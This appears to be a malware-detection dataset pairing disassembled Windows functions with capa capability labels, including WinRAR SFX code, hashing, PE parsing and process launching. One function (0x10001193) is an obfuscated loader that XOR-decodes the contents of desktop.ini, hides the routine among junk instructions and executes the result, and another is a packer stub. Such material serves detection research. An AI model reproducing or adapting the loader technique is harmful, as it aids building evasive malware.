joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b989
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
cmp byte [0x419f90], 0
je 0x40ba0b
push esi
push dword [ebp + 8]
lea esi, [ebp - 0x40c]
call fcn.0040b8da
lea eax, [ebp - 4]
push eax
push 1
push 0
push str.SoftwareWinRAR_SFX
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop esi
test eax, eax
jne 0x40ba0b
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x80c]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 0x40c]
push eax
push dword [ebp - 4]
mov dword [ebp - 8], 0x400
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40ba02
lea eax, [ebp - 0x80c]
push eax
push dword [ebp + 8]
call fcn.0040a450
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret 4

Function at 0x40bb63
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.USER32.dll_DialogBoxParamA]
cmp byte [0x419ede], 0
mov eax, dword [ebp + 0x10]
mov dword [0x419ee0], eax
mov eax, dword [ebp + 0x14]
mov dword [0x419ee4], eax
mov eax, dword [ebp + 0x18]
mov dword [0x419ed8], eax
je 0x40bb93
xor eax, eax
inc eax
jmp 0x40bbbc
cmp byte [0x419edf], 0
je 0x40bba1
push 2
pop eax
jmp 0x40bbbc
push dword [ebp + 0xc]
push 0x40ae70
push dword [0x419f80]
push str.REPLACEFILEDLG
push dword [0x414c74]
call esi
dec eax
je 0x40bc1d
dec eax
je 0x40bbfc
dec eax
je 0x40bc16
dec eax
jne 0x40bbef
push dword [ebp + 0xc]
push 0x40b16c
push dword [0x419f80]
push str.RENAMEDLG
push dword [0x414c74]
call esi
test eax, eax
je 0x40bb6d
mov eax, dword [ebp + 8]
mov byte [eax], 0x52
jmp 0x40bc2e
dec eax
je 0x40bc04
dec eax
jne 0x40bc2e
mov byte [0x419edf], 1
mov eax, dword [ebp + 8]
mov byte [eax], 0x4e
jmp 0x40bc2e
mov eax, dword [ebp + 8]
mov dword [0x419f78], 1
mov byte [eax], 0x43
jmp 0x40bc2e
mov byte [0x419ede], 1
mov eax, dword [ebp + 8]
push 0
push dword [ebp + 0xc]
mov byte [eax], 0x59
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop esi
pop ebp
ret 0x18
Function at 0x40d37f
Capabilities:
Accept command line arguments
Read file via mapping
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
xor ebx, ebx
push ebx
call dword [sym.imp.ole32.dll_OleInitialize]
mov ecx, 0x41fdc0
call fcn.0040e4fc
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
cmp esi, ebx
je 0x40d407
push esi
call fcn.0040b45e
cmp byte [0x419f91], bl
je 0x40d3fb
push str.winrarsfxmappingfile.tmp
push ebx
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
mov edi, eax
cmp edi, ebx
je 0x40d3f2
push 0x10000
push ebx
push ebx
push 4
push edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
cmp esi, ebx
je 0x40d3eb
push esi
push str.sfxcmd
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40d407
push esi
push str.sfxcmd
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov edi, 0x400
push edi
mov esi, 0x419ad8
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push str.sfxname
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
call fcn.00406e67
test eax, eax
je 0x40d43e
push edi
push 0x4192d8
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
jmp 0x40d446
xor eax, eax
mov word [0x4192d8], ax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
push 0x64
push edi
mov dword [0x414c78], edi
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x65
push dword [0x414c78]
mov dword [0x4192d4], eax
call dword [sym.imp.USER32.dll_LoadBitmapA]
lea ecx, [ebp - 8]
mov dword [0x4192d0], eax
call fcn.00411677
push esi
mov ecx, 0x414c88
call fcn.004098b9
lea ecx, [ebp - 0x40]
call fcn.0040643b
lea ecx, [ebp - 0x24]
call fcn.0040643b
push 0x64
call fcn.0040ac7a
push 0x64
mov dword [ebp - 0x28], eax
call fcn.0040ac7a
push ebx
push 0x40cc05
mov dword [ebp - 0xc], eax
push ebx
lea eax, [ebp - 0x40]
mov dword [0x418ecc], eax
push str.STARTDLG
lea eax, [ebp - 0x24]
push edi
mov dword [0x418ec8], eax
call dword [sym.imp.USER32.dll_DialogBoxParamA]
lea ecx, [ebp - 0x24]
mov dword [0x419f80], ebx
mov dword [0x418ec8], ebx
mov dword [0x418ecc], ebx
call fcn.00406451
lea ecx, [ebp - 0x40]
call fcn.00406451
lea ecx, [ebp - 8]
call fcn.004116ef
cmp byte [0x419f88], bl
je 0x40d507
call fcn.0040b702
push 0x80
push ebx
push 0x419ee8
call fcn.0040a262
cmp dword [0x41a824], ebx
jbe 0x40d52a
push dword [0x41a818]
call fcn.0040a1de
push dword [0x4192d4]
mov esi, dword [sym.imp.GDI32.dll_DeleteObject]
call esi
mov eax, dword [0x4192d0]
cmp eax, ebx
je 0x40d544
push eax
call esi
cmp dword [0x414c7c], ebx
jne 0x40d563
cmp dword [0x419f78], ebx
je 0x40d563
push 0xff
mov ecx, 0x414c7c
call fcn.0040321d
mov eax, dword [0x41a828]
mov dword [0x419f78], 2
cmp eax, ebx
je 0x40d57c
push eax
call fcn.0040b6c3
call dword [sym.imp.ole32.dll_OleUninitialize]
push dword [0x414c7c]
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40d8ee
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x18], 0
and dword [eax + 0x14], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
ret 4

Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x63353a
Capabilities:
Encode data using base64

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
mov ebx, ecx
mov eax, edx
mov dword [ebp - 0xc], eax
push esi
push edi
test ebx, ebx
jne 0x633561
mov ecx, 0x80070057
mov esi, ecx
call fcn.006330e6
jmp 0x6336ef
cmp dword [ebp + 0x10], 0
je 0x633550
lea ecx, [ebp - 0x14]
push ecx
push 2
pop edx
mov ecx, eax
call fcn.006346aa
mov esi, eax
test esi, esi
jns 0x63357f
mov ecx, esi
jmp 0x633557
mov edi, dword [ebp - 0x14]
xor edx, edx
push 3
pop ecx
mov eax, edi
mov dword [ebp - 8], edi
div ecx
xor ecx, ecx
mov esi, ecx
test eax, eax
je 0x6335b7
mov edx, eax
shl edx, 2
mov ecx, edx
shr ecx, 2
cmp ecx, eax
je 0x6335b2
mov esi, 0x80070216
mov ecx, esi
call fcn.006330e6
jmp 0x6335ba
mov dword [ebp - 8], edx
jmp 0x6335ba
mov dword [ebp - 8], ecx
mov ecx, esi
call fcn.006330fe
test esi, esi
js 0x63357b
mov edi, dword [ebp + 0xc]
xor edx, edx
mov ecx, dword [ebp - 8]
inc edx
test edi, edi
jne 0x6335e7
push dword [ebp + 0x10]
call fcn.006346aa
mov esi, eax
test esi, esi
js 0x63357b
xor esi, esi
jmp 0x6336ef
lea eax, [ebp - 0x10]
push eax
call fcn.006346aa
mov esi, eax
test esi, esi
js 0x63357b
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 0x10]
cmp dword [eax], ecx
jae 0x63360a
mov esi, 0x8007007a
jmp 0x63357b
lea edx, [edi + ecx*2]
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
test edx, edx
jle 0x6336e3
lea ecx, [edi + 6]
mov dword [ebp - 0xc], ecx
xor eax, eax
mov word [ebp - 8], ax
mov ah, byte [ebx]
inc ebx
mov byte [ebp - 1], al
cmp edx, 1
jbe 0x633645
mov al, byte [ebx]
inc ebx
mov byte [ebp - 2], al
cmp edx, 2
jbe 0x63364b
mov al, byte [ebx]
inc ebx
mov byte [ebp - 1], al
jmp 0x63364b
mov al, byte [ebp - 7]
mov byte [ebp - 2], al
cmp ecx, dword [ebp - 0x14]
jae 0x633701
movzx ecx, ah
mov eax, ecx
shl ecx, 4
shr eax, 2
movzx eax, byte [eax + 0x40a240]
mov word [edi], ax
movzx eax, byte [ebp - 2]
mov dword [ebp - 0x18], eax
shr eax, 4
or eax, ecx
and eax, 0x3f
movzx eax, byte [eax + 0x40a240]
mov word [edi + 2], ax
cmp edx, 1
jbe 0x6336a3
movzx ecx, byte [ebp - 1]
mov eax, dword [ebp - 0x18]
shl eax, 2
shr ecx, 6
or ecx, eax
and ecx, 0x3f
movzx eax, byte [ecx + 0x40a240]
jmp 0x6336a6
push 0x3d
pop eax
mov word [edi + 4], ax
cmp edx, 2
jbe 0x6336bf
movzx eax, byte [ebp - 1]
and eax, 0x3f
movzx eax, byte [eax + 0x40a240]
jmp 0x6336c2
push 0x3d
pop eax
mov ecx, dword [ebp - 0xc]
sub edx, 3
mov word [edi + 6], ax
add ecx, 8
add edi, 8
mov dword [ebp - 0xc], ecx
test edx, edx
jg 0x633621
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 0x10]
cmp edi, dword [ebp - 0x14]
jae 0x633701
xor edx, edx
mov word [edi], dx
mov dword [eax], ecx
mov ecx, esi
call fcn.006330fe
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov ecx, 0x8000ffff
jmp 0x633555
Function at 0x66ba6f
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov eax, edx
mov esi, ecx
push edi
movzx edi, al
test al, al
je 0x66bada
push ebx
mov ecx, dword [ebp + 8]
mov ebx, dword [ecx]
add ecx, 4
xor ebx, eax
mov dword [ebp + 8], ecx
mov ecx, eax
movzx edx, bl
shl eax, 3
shr ecx, 3
xor ecx, eax
mov eax, ebx
shr eax, 8
add ecx, ebx
mov dword [ebp - 4], ecx
movzx ecx, al
mov eax, dword [esi + edx*8]
mov dword [esi + ecx*8], eax
mov eax, dword [esi + edx*8 + 4]
mov dword [esi + ecx*8 + 4], eax
mov eax, ebx
shr eax, 0x10
movzx ecx, al
shr ebx, 0x18
mov eax, dword [esi + ecx*8]
mov dword [esi + ebx*8], eax
mov eax, dword [esi + ecx*8 + 4]
mov dword [esi + ebx*8 + 4], eax
mov eax, dword [ebp - 4]
sub edi, 1
jne 0x66ba83
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x6750a8
Capabilities:
Hash data using sha256

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0x6a09e667
mov dword [eax + 4], 0xbb67ae85
mov dword [eax + 8], 0x3c6ef372
mov dword [eax + 0xc], 0xa54ff53a
mov dword [eax + 0x10], 0x510e527f
mov dword [eax + 0x14], 0x9b05688c
mov dword [eax + 0x18], 0x1f83d9ab
mov dword [eax + 0x1c], 0x5be0cd19
mov dword [eax + 0x20], 0
mov dword [eax + 0x24], 0
pop ebp
ret 4
Function at 0x67665c
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x4b0e98
call fcn.00676990
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x6766bc
cmp eax, 0xffffffff
je 0x6766bc
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x6766b5
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x6766b5
cmp edx, 0x10000000
jae 0x6766b5
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x6766b2
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
call fcn.006769d5
ret 4

Function at 0x676708
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x676746
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x67673e
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x676748
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x67672e
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x676818
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x67682e
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x676849
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
Function at 0x693980
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.__
lea edi, [esi - 0x1d6000]
push edi
jmp 0x69399a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x6939a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x693990
mov eax, 1
add ebx, ebx
jne 0x6939b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x6939c4
jne 0x6939e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6939e3
dec eax
add ebx, ebx
jne 0x6939d0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x6939a8
add ebx, ebx
jne 0x6939df
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x693a35
xor ecx, ecx
sub eax, 3
jb 0x6939fb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x693a6a
sar eax, 1
mov ebp, eax
jmp 0x693a06
add ebx, ebx
jne 0x693a06
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6939d4
inc ecx
add ebx, ebx
jne 0x693a14
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6939d4
add ebx, ebx
jne 0x693a21
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x693a16
jne 0x693a32
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x693a16
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x693a54
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x693a46
jmp 0x693996
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x693a54
add edi, ecx
jmp 0x693996
pop esi
mov edi, esi
mov ecx, 0x2d71
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x693a72
cmp byte [edi], 0x13
jne 0x693a72
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x693a77
lea edi, [esi + 0x290000]
mov eax, dword [edi]
or eax, eax
je 0x693aef
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2ad8fc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2ada34]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x693aa4
mov ecx, edi
jns 0x693ad3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2ada3c]
or eax, eax
je 0x693ae9
mov dword [ebx], eax
add ebx, 4
jmp 0x693ac1
call dword [esi + 0x2ada38]
mov ebp, dword [esi + 0x2ada40]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x693b23
sub esp, 0xffffff80
jmp 0x491523
Function at 0x437660
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4b5d3b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004aa6bb
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4376e2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004a84aa
mov eax, dword [eax]
push 0xa53cd0
push eax
call fcn.00499ab4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004aa946
test bl, bl
je 0x4376e2
push 0xa53cd0
lea ecx, [esp + 0xc]
call fcn.004aacd6
push 0xa53cdc
lea ecx, [esp + 0xc]
call fcn.004aacd6
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x43771e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004aa946
jmp 0x4377e9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4377a2
lea edx, [esp + 0x7c]
push 0xa53cd8
push edx
call fcn.00499ab4
add esp, 8
test eax, eax
je 0x4377a2
lea eax, [esp + 0x7c]
push 0xa53cd4
push eax
call fcn.00499ab4
add esp, 8
test eax, eax
je 0x4377a2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x437732
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004aa946
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x437fe0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x438042
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x438050
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4b5dbb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0xa5de90]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x438188
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x4380b6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004aa946
xor eax, eax
jmp 0x4381ff
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004aaa83
push esi
lea ecx, [esp + 0xc]
call fcn.004aad12
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4381dd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push bind
call fcn.00437fe0
test eax, eax
jne 0x4381dd
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push bind
mov ecx, edi
call fcn.00437fe0
test eax, eax
jne 0x4381dd
lea eax, [esp + 0x14]
push str.__1_
push eax
call fcn.0049ac00
mov esi, eax
add esp, 8
test esi, esi
jne 0x4381bc
lea ecx, [esp + 0x14]
push 0xa53ce8
push ecx
call fcn.0049ab80
mov esi, eax
add esp, 8
test esi, esi
jne 0x4381bc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x4381bf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004aaa33
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x4380ce
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004aa946
xor eax, eax
jmp 0x4381ff
mov byte [esi], 0
push 0xa53ce4
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.DLL_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004aa946
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4

Function at 0x43e506
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
push esi
mov esi, ecx
mov eax, dword [esi + 0x3a0]
test eax, eax
jne 0x43e52e
lea eax, [esp + 4]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
inc eax
mov dword [esi + 0x3a0], eax
pop esi
add esp, 0x190
ret